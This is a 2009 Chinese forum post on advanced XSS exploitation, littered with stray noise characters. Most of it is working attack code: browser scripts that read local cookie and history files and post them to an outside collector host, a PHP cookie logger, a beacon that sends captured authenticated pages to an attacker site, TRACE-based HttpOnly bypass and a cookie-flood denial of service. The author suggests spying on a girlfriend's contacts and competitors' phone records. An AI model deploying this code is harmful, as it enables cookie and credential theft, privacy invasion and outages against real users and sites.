XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
, r8 \1 g! j& Y2 V. \By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
3 G* n2 h- ?1 U( X: e, K) t转帖请保留版权


6 X8 G  \% y9 G6 \: t& w
* u9 p' d. {# u7 c! T4 H-------------------------------------------前言---------------------------------------------------------
' ~9 I- {! c: C, ~5 o
# {0 L; A2 Z0 u# ]9 q0 K( u5 }) t
9 S& Y4 M' Q% m# m8 S6 [本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

, [% b2 v, E+ B- @$ b& l' {1 s7 h# [
$ p& R# |$ \2 L+ _/ y: j% {如果你还未具备基础XSS知识,以下几个文章建议拜读:
; B6 M% f% r, N) ehttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
- q: j) r6 R7 C# n8 Nhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
/ @8 G- [& ]6 x, Q& z1 [8 Vhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
! ^) b2 ?  O2 @- W( ~1 ?0 q$ z) p& |http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
% N, D5 n" b: ~% I* O# X
& w' j1 r% ]# O/ N9 v! s


如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
$ R$ S" d- A# h- o% g
1 \2 ]% B4 d3 k0 C& ?4 o4 R希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
! n5 K6 @# S8 F1 @& |; m
; w/ y# P0 _" Z; |0 r! Q; D% t如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
4 G  R; X% Q6 Y0 T
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
6 m/ @  i, g0 g5 B* K/ ~: d% D9 J
' @% j+ U1 T9 g; DQQ ZONE,校内网XSS     感染过万QQ ZONE.

# Q- C, ~% f: M8 R+ \& p! X8 i2 COWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
6 C) |# I; Z' P+ W+ z) h
..........
复制代码------------------------------------------介绍-------------------------------------------------------------
4 I: m1 d8 o) B, d, s. [# b7 r( J0 U
) h" p" R; g$ W5 j什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.


6 ]/ I) f( W3 f3 [8 b  D/ R
4 b! P0 j0 c2 v9 r跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



+ X  C- z2 ?! O8 _" d" Z8 }! F如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
0 h  \6 r" E+ Y' W# i$ N7 R9 p复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
( ]" N  x; a5 X7 j$ d我们在这里重点探讨以下几个问题:
& M% A# I7 ^4 |! {9 ], {: g
+ l! X: y. m2 |) e1        通过XSS,我们能实现什么?
1 I) ?* `+ O; O( y, o! t& h
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
( [) I, Y! [) h2 G
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
' @5 ?6 M/ v. L: \$ C, V1 T, u
4        XSS漏洞在输出和输入两个方面怎么才能避免.

" m6 [! X' q& Z8 q8 f

------------------------------------------研究正题----------------------------------------------------------
- f& i  @! \* S1 r& u$ o( J

2 ?; p  `0 n; K- F% p6 H, O
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
- ]$ R2 [  A. j& p6 e复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
6 r3 I& ^" C2 n: u9 [1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
7 h8 ^! [7 m0 {6 I, ^3 x2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
: e& \, [: m5 W6 D0 Y" M. i3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
- Y1 t- G9 I, M




(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
) v0 U7 y/ d* s$ N% j: `7 H
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)



# w% x  ]/ a* N$ s  O- `0 I    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

; O2 a6 Z/ y4 {5 L+ }

' y9 }/ a3 _2 j' ~4 m$ }; @    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
* `4 p7 S$ {/ j$ i! D4 V% Q, i
8 [, e3 F) z: R8 x  A2 S. g

9 k& p0 n! |" C/ j9 `    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
" A0 S$ @" R3 c6 ~7 {% r6 b, e复制代码IE6使用ajax读取本地文件    <script>
9 u3 j( [  \2 i
    function $(x){return document.getElementById(x)}
/ V5 s6 H9 f. n
' c& g$ `3 K6 \0 C; W. t

9 @4 S/ b1 _6 y9 X1 ^7 q7 N# R# N    function ajax_obj(){

0 M/ C" l; Q0 Q$ ^5 ~- F1 z$ q! d    var request = false;

  b: y% {8 v+ t" z2 w    if(window.XMLHttpRequest) {
- l6 m4 @$ \& B1 E) [
, s: P) P. E+ t6 ^% b) c    request = new XMLHttpRequest();

$ Z" O) ~8 r0 T, x. i9 b9 D4 _' L    } else if(window.ActiveXObject) {
4 A0 b# i* R1 b* n! u2 s: _: u
8 }0 J0 G6 o' j* J  Y$ K7 o    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
* G8 b  `1 n. b

( L' C3 b8 W6 @7 C) w
  U# N5 ]+ [/ P2 W    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

$ E* p8 I% R1 u" S; C/ Z    for(var i=0; i<versions.length; i++) {
/ r( [. H2 _8 [( Q5 t1 N
    try {
2 n0 K! H7 J2 U) L9 d
    request = new ActiveXObject(versions);
0 b/ B: S, a4 k
* ~0 D3 p0 T* d6 Z0 ^6 }. t; b( x' E    } catch(e) {}
* d0 v8 X& N& h) |! ^( u- q
8 p& E0 T4 L, R8 e$ l5 P    }
- G; w- g8 G* i3 R$ l
    }

    return request;
6 m7 m: e) O& r% R- t9 H8 p
    }

    var _x = ajax_obj();
5 F7 Z* G  p, u
    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
1 E& g3 b; W0 {( b, a9 x/ ^
; n! ]" W5 H, w5 I1 G! k    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
( ^0 I, i. i8 [/ S9 d4 E' t, h% ]8 y
    _x.send(argv);
, e. o& ]% a6 B6 O' j
5 Y  J/ I  w# L* V8 _+ ~5 s5 s  Q    return _x.responseText;
5 g! s% X( B4 e8 D; B
    }
( L" ~9 P/ G. o- W
2 _- {7 ^/ s) t" O$ z: X/ j

1 t" b. d; D: @6 h    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

- J1 A' L- C5 ?) w: ]( e    alert(txt);

* [+ q2 ?: `  ?& z
% O, ~1 Z5 R( ?  A% d0 G
    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

. X& W8 S; g: G% O2 D    function $(x){return document.getElementById(x)}
" U: T0 q' f, \$ A2 }* q
& t5 ?) U+ F# K6 n9 ~

; w" j/ F% |$ r2 J    function ajax_obj(){
6 W  l3 r7 @  q2 _2 e0 r
    var request = false;

    if(window.XMLHttpRequest) {
0 F- I6 O" @* b% _* N% i0 D7 K
6 \: o% f) t+ I. s    request = new XMLHttpRequest();

* P- H( F$ s8 ^; o" w) ~! A    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
/ \4 @' t, u3 d# U0 N* n* A
3 a, v. u( v2 c2 U# S( a& u    try {
7 B! {" O! A( X
    request = new ActiveXObject(versions);
* g& X2 P( p  E5 l
! ?2 Y& Q9 n2 s    } catch(e) {}
* g, y7 k9 m0 M# m6 E' x& C" C
    }

" M& u: p- {) i. m* N/ U3 x0 U  H    }

9 A7 I3 B: v' O- L7 |6 ~: x9 m    return request;

: V+ q" Y% k  s2 K& _    }
" o# f5 n% D3 W  x
* Q# N; \& j, j' O# T1 S$ U    var _x = ajax_obj();
. @( B9 s+ Y& {
4 ~+ @3 V; h/ Y; O6 {2 X    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

- F9 k4 z3 E1 B6 x! G8 b    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
: x7 y- m; r4 X& h
    _x.send(argv);

    return _x.responseText;

    }
) o( j  v; U6 O3 E  Y3 p) y. L) k


3 V3 T9 e$ ?% [    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
" F4 z) o; N9 q. P; T) c4 j: \; ^9 P
4 Z, L' |0 |( [

    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
. A5 z' N) V; R' I( ^8 A
9 q6 H% t+ G/ O8 f4 y
. Y( R# F  X7 n" Z4 {* j
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



<?   

/*  
5 a' D& ]( F! B5 O4 }, Q: R% o
8 V: ~" n6 u1 b( C     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
9 _9 ]& ]9 V! r& _" M
     www.inbreak.net   

" S/ W1 Y' j6 l2 }' `( t$ S3 w, t     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
' g! O# k* X8 A# Q8 I/ l
4 G; z& F, Q8 }$ ~*/  

% i/ E) L) X, zheader("Content-Disposition: attachment;filename=kxlzx.htm");   
8 H# h; F' E' b- u; I% y
header("Content-type: application/kxlzx");   
; x5 b! U5 o: L7 f- D7 e  Z
/*  

     set header, so just download html file,and open it at local.  

3 t$ a) R0 L0 m0 {9 z*/  
3 {6 _6 r" L0 `; ^& r# m9 F
?>   

8 T7 K5 ]' G$ K<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

- R; b. U6 Y3 \     <input id="input" name="cookie" value="" type="hidden">   
$ e  u; F2 @# Y  ~
1 @5 g/ I/ w! }+ i</form>   
+ t7 C( r- ?8 E( S/ `8 P/ k- {
<script>   

2 j3 k9 ?  ~1 u9 ^: @function doMyAjax(user)   
' \& X; w* m8 }( {6 a. c
+ K7 w) |5 p( p0 _* M' u; d8 a{   

var time = Math.random();   
& i( w; N+ w7 p
; b# @: U- {9 w5 ^/*  
4 Z: S/ O' \* H+ H1 p" y
/ _* B) M, M) n/ \# athe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

5 N/ }0 C+ P: {- E5 band the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  

: \* X' O2 U3 g* G% ]*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
5 G* Q3 q6 W8 @0 W* ]
+ }: J  o2 l. G" {) i  ^   

startRequest(strPer);   

6 h2 V7 h- j% w# I
3 W5 w: m/ S. ]* b( G4 y
}   

! v2 @8 k6 D& J3 ?" M. ]7 |   
1 O: Q/ K5 x# u
) F5 {/ N$ @5 K- p4 D9 M0 ufunction Enshellcode(txt)   

0 M6 Q2 C2 |2 ?$ f1 ^$ u; {{   
# Z5 X6 t1 h/ ~0 P8 k9 _& ^1 ^' t
var url=new String(txt);   

0 m$ a1 X: x& F# Hvar i=0,l=0,k=0,curl="";   

4 Q2 A8 K. j3 t  ]l= url.length;   
  Y" ~& K3 i4 Z2 e! N/ ?
3 A( m$ O' u# x. j( e: b& Z% `for(;i<l;i++){   
; w& L* o! {% k
k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
# Z' l" U: V5 c' U9 r" f& C
if (l%2){curl+="00";}else{curl+="0000";}   
  _6 _& Q% G" w8 I+ t
curl=curl.replace(/(..)(..)/g,"%u$2$1");   
+ R0 C" j! U9 H% C; y
return curl;   

}   
- I2 y9 N, z- W' |) p
   

- Z0 U6 M5 B* J/ b5 S   

var xmlHttp;   

$ s/ L7 P, g  t4 j! _' o+ o. C0 N) D9 n! tfunction createXMLHttp(){   
; i5 \. z5 @# Q( f4 G5 f
7 E) P; X& `* D     if(window.XMLHttpRequest){   
2 N/ `; k2 H( g# L  F
xmlHttp = new XMLHttpRequest();           

     }   

     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
8 ?1 v3 I! N  K" t7 O
3 T, _/ X3 c! I1 N( H( H. c     }   
3 |: [- `% c7 f; Q, G5 i- M
}   
4 A# ]7 S$ j" k) d& G) m
   

0 G1 Y' s( T) v# w7 I* [function startRequest(doUrl){   

   

     createXMLHttp();   
: c% M- X: H4 O; P. c# E% i, `, c


     xmlHttp.onreadystatechange = handleStateChange;   
# _" V! t, b8 J4 u) h$ b- G! A

- L4 i; g8 c! a; M
, L% p. Q5 z+ o; f; m5 [     xmlHttp.open("GET", doUrl, true);   

! n$ ~' U- j9 R1 R6 F
  _/ d% \# W+ e2 P( h# F0 B
     xmlHttp.send(null);   
% ~1 D( b( A$ @" y+ T; f( q
7 H! V  Z$ r, n9 I
7 T% k+ ]$ Y( @+ p2 M2 E, s

0 y3 E+ x0 f0 r! r1 H! W3 K
}   

: `: a6 X* F* M% t# d   

function handleStateChange(){   
+ l- q3 ~" R2 l8 `5 c9 K' A
4 N0 P4 N: x% x     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
" w: a! T  P8 F# I7 s3 f/ L, m7 |) T4 e3 y
3 T5 }% N. }2 A        

     }   
% L* h" ]$ c& F
" y7 A/ s9 _. `9 _1 m}   
5 d1 q  s1 M5 @' f* D$ n$ T
   
- S0 H* W- O5 \8 d8 t
, K8 D- ], |* N4 F+ g8 I% c   
1 d& P: h" i9 [0 @, U* K
3 R0 \" }* k4 C! nfunction framekxlzxPost(text)   

, l; Z, p8 S/ r3 p; d{   
# i; d% f1 C) Z( `1 T; u0 Y6 F* b
+ `. A& s/ X7 F, M- b- f     document.getElementById("input").value = Enshellcode(text);   
% m/ Y) f1 X# y- X$ k+ C$ H0 ~" s
) v% d7 ]0 R8 K' I2 b5 R" a1 e+ p     document.getElementById("form").submit();   

+ y) E5 i$ b" N# D- }}   

   
5 g4 ~  H4 ^3 F# l
. i, O3 }! i/ j- f# f0 w, }  [doMyAjax("administrator");   

   
5 ^- A$ {4 Z: n% t# a
/ u0 {9 h+ Z6 O+ @$ S</script>
- i  s; [; k( O$ d; r5 t5 Y复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
0 ~3 F# _  u4 [& D! c7 p( ~% S( l
var xmlHttp;  
! Q9 K& {$ O* J; f, W/ @
! p0 Q$ f( G  n2 sfunction createXMLHttp(){  
5 B+ d7 N& ^, T% X  C* k8 W
. w: _5 e# Q/ R" z! F7 u     if(window.XMLHttpRequest){  
. l1 C  M! V- ?" @: C8 ?- K6 Z$ z: u
) u# ^7 {9 [1 t; |7 j3 C( f0 `         xmlHttp = new XMLHttpRequest();         

. L7 u# s8 |5 v6 d     }  
, \( k1 i8 w8 Z/ z/ I
     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
" H* `3 f5 ^9 M& f: g
9 o! G: D- u7 l# z. A9 @1 R9 K     }  
7 \' G$ R' a8 X/ E
8 ^% L4 U: A9 s9 \3 I- |' M}  

   

; @8 n" n: s1 Z  k& _$ z( {function startRequest(doUrl){  

  a' r3 c  C! o% W           

2 M+ {+ U! v4 K- @9 V: [7 ^     createXMLHttp();  
4 L; c: S, f* N9 p
2 Y* C& a# b: @5 J      

! b4 m2 q; H) M" C9 ~' f# o     xmlHttp.onreadystatechange = handleStateChange;  

, }4 F3 f' N1 U      
, K5 F) g! F: C' ?+ g- \  f
     xmlHttp.open("GET", doUrl, true);  

/ }% E& j( ^: N      
, k5 t6 d6 h) g" P
2 Q6 T3 t: N( H4 w% c% \; V     xmlHttp.send(null);  

9 M6 B* }/ [0 R& A0 v( G: \* L      
8 R9 a7 J6 e  |1 o1 S
      

7 z" P# B7 T: ?+ E/ a}   

   

function handleStateChange(){  
, c, r4 l) V  K9 V' p1 P
- o5 k  U: U5 l" k2 Y     if (xmlHttp.readyState == 4 ){  

! D" C: W5 f' p' V             var strResponse = "";  
6 m) o3 _- D& G- F5 r5 K5 W- t. J
1 k) w9 T( j- j( d9 k7 @. v             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
. l$ J1 n* H$ r
+ r; [4 M! R# {# A6 p( E! ]               
# o: E$ m1 Z3 ^1 L3 y
     }  

0 d) C  D+ Y4 a% K- ?7 p2 V: \}  

8 S0 @* k4 h- i9 U3 E! X: B9 p   

; B  s$ L7 X3 v; L! e  rfunction doMyAjax(user,file)  
) }$ T! J: K+ x" N2 o7 _. l
{  
; P0 R; `5 a3 T( V! N$ P. j2 i8 a
         var time = Math.random();  
1 t+ _5 v$ h& d1 l/ T2 [: L, q
           
  ^$ ?* x* T$ Z  E! @
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           

9 |, Y3 ?/ I) B* x/ @0 ]- G2 m% X$ x         startRequest(strPer);  
, Y) C% G8 s+ L  J  z; P
: Q, W& Z  ~1 U; y9 ?      
- i9 o# a; w' m) j1 M2 ]* H% ^
. W  }: i3 V8 \# y. x7 N}  
0 C0 T0 y6 d6 i$ G: B) I( X
, [, o4 D' ?) y$ Y! x6 l) j   
) _/ L2 [- {7 D' I" Y1 n4 X7 H
function framekxlzxPost(text)  
6 K8 B+ U; p2 f) \# r$ ~" w& K
{  

0 c/ l- ]! G8 K1 ^6 ~0 c9 d     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
) n2 i: Y7 }& n# o' G
% F  O$ d& }, M1 R8 T: k/ @1 X/ a$ a}  
, K! A: `' j5 t8 ^5 N1 ]$ n6 t
   

doMyAjax('administrator','administrator@alibaba[1].txt');  

9 g7 ^2 o& c8 Q- H  L& d   

7 {$ k, Q4 q7 y6 o) @1 H5 u  M7 q</script>
  L* k$ p; `$ L$ e) t0 u0 I8 R
8 x+ S! x( V" [
2 N& ]) k% Z0 H2 g& t: [# S


8 P- a- I4 ?' sa.php
1 I, l& g  E) f+ x
9 M9 ~4 ?9 T! e% T+ Q. ~
) I( C# m6 O$ N
) x( S1 X3 D% l8 e$ D. l- t<?php      

1 o( E- Y8 Z' I7 j   
- w( q4 c3 O' V. [3 B
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
/ c3 j' u1 {0 t. X5 J5 ]" x' @
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
1 f( B# L- N9 M) w7 P& {
  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
. U$ R& ?/ A! ?( b( t% J
# r9 W/ I7 o8 g' m$ ^* Tfwrite($fp,$_GET["cookie"]);      
4 N* v% U6 o, o' w$ P
fclose($fp);   
) Y+ s6 B7 S8 p; c
+ @; v  [/ p  B& Z?>
7 ~  |) m% v3 F# Y" I复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
3 y8 _3 {( f4 A( P, c5 p+ C: U
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

) `% }9 X9 {* a# r代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
- c3 D# Z; O# D: `' j" ]
$ k! q( Z4 [  n: l& h/ s$ z3 \//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

% Z; }  U* ]4 l  qfunction getURL(s) {
6 G  Q. r4 c8 E2 \  i/ ~$ }/ H
var image = new Image();
) X4 b  @0 O2 _
/ M. ]# Y: P4 S( w7 e  p+ l4 g, x* oimage.style.width = 0;

image.style.height = 0;
0 E$ {3 n$ O9 k5 c3 K% l
image.src = s;
+ `* y# E) V. K# p$ f8 ?2 H; \' `
7 O( [0 S9 u0 i3 a8 l: B: G4 L. e- r}
& A: Z( G- t  |, i& F
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
( ^; }+ s' d, s5 S这里引用大风的一段简单代码:<script language="javascript">
4 G. g& Z( v. v- p  L) B
1 f( ?  M. o% gvar metastr = "AAAAAAAAAA"; // 10 A
6 a: q) y5 P4 E" s5 W$ @
var str = "";

7 d$ p# _' P  w2 p. i/ Iwhile (str.length < 4000){
  V5 a2 e1 `. w$ v. c6 c
( |' _( N# J7 x4 ^3 y    str += metastr;
; J& v; p5 K3 E# L
+ j$ l4 i) X2 a# S- c5 g5 |5 t. d% C}

/ @' K6 B& y, T# t+ K( j

6 m/ B' L! d1 a, e' O. m+ sdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
, j) U$ O, Y1 ]% ^* \6 F
. C6 y, r, p* J# g</script>
3 O& Q! a8 A2 N+ ~  }" O* h5 n- M$ V# E
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
. _3 x# z9 m0 X, D' f复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
; H/ H2 N) ~2 [  d; j8 e
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
3 f3 h  M3 Q7 {) i
) |7 N5 x  w* G7 h



, ?* B0 D4 M! }, J7 b0 l3 x' c
% m- r" D. X! [+ |3 F8 \3 |2 V(III) Http only bypass 与 补救对策:

- P) k4 k  J" s$ n什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
/ F4 l: S" D/ y, u* E- J$ Y4 C以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
5 w" C8 a& _9 r: v" ^( I! h6 C
: p& u2 k3 h1 {' f* q<!--
7 x' P  `+ \( q: T: e0 X1 K( F( ?: Z
% i% y* ~! {" @function normalCookie() {

) a8 ^* G( C7 U: H8 `4 Idocument.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

4 t: ^% e  w# ?& J6 i8 @0 g" p$ F}
/ ?' C* M" e7 l( V# k


, k, k& ?! X" q  ~) E
- q& @; ]0 e* |
4 n5 N* w& [) H0 o( pfunction httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}



1 ~* x6 N' T" R" f//-->

! ~- y+ l, K$ |( J. m/ h( z3 H+ _</script>
! H% Q! S8 I& s0 M: c' {

( v9 V2 x4 B. q. _' U7 k
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
( N6 R/ G$ Z0 y3 K" H
2 u# h6 r) \5 p. N<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
0 d% r) {- R' `7 O+ M/ F) I复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



$ V# E) m% ^7 m0 R+ T! ^5 Ivar request = false;
% r1 r5 U( R6 F
& O4 i$ `3 Y$ G' Z& F        if(window.XMLHttpRequest) {
: k. i9 w4 e4 @; n+ t3 t% w
- @) E, [. O; o5 t. D( C- j            request = new XMLHttpRequest();
7 f  N0 b: b' I- J: I, p7 Y8 S
3 p7 h! H( u& \& v% f) S( N. c            if(request.overrideMimeType) {
8 m% I* {% r9 l5 v$ _" e" P- A
                request.overrideMimeType('text/xml');
0 U: _) [# H( I! j+ T7 Z0 G* C
            }
  \8 F& P* W, c* ]
        } else if(window.ActiveXObject) {

. Y; x* W& Q- A4 J$ D9 l& V# s, P            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
/ ^9 i$ g4 n' k/ S! \+ B  Y
+ v, N; w5 L  ~/ C" x' X            for(var i=0; i<versions.length; i++) {
7 n( p5 ?5 R- e3 `/ G; u
                try {
/ c1 f8 _4 }4 v# D1 V0 }
                    request = new ActiveXObject(versions);

                } catch(e) {}
+ f3 `5 q' M1 l/ P
            }
( _0 }- [# M9 C% m- ~
        }

; y) r( ]7 d( u* {; _+ y" W# e) jxmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);
- _) V  k( {9 z% h& n2 x
7 D0 \. j5 t$ g# oxmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

alert(xmlDoc);
% g( T9 u( p) h( K: s
</script>
2 @& W" ^9 X% `复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
' f7 H, I  c, |# C4 @7 h( u
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

+ T8 v+ q# d" D  aXmlHttp.open("GET","http://www.google.com",false);
6 t% `9 i' b( \: d  n! q
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

5 l6 V6 k7 S5 A, k' @XmlHttp.send(null);

var resource=xmlHttp.responseText

resource.search(/cookies/);
; b9 l( d2 V  f% r
......................
0 e& ~. L+ [$ Q- d. M  ]+ t
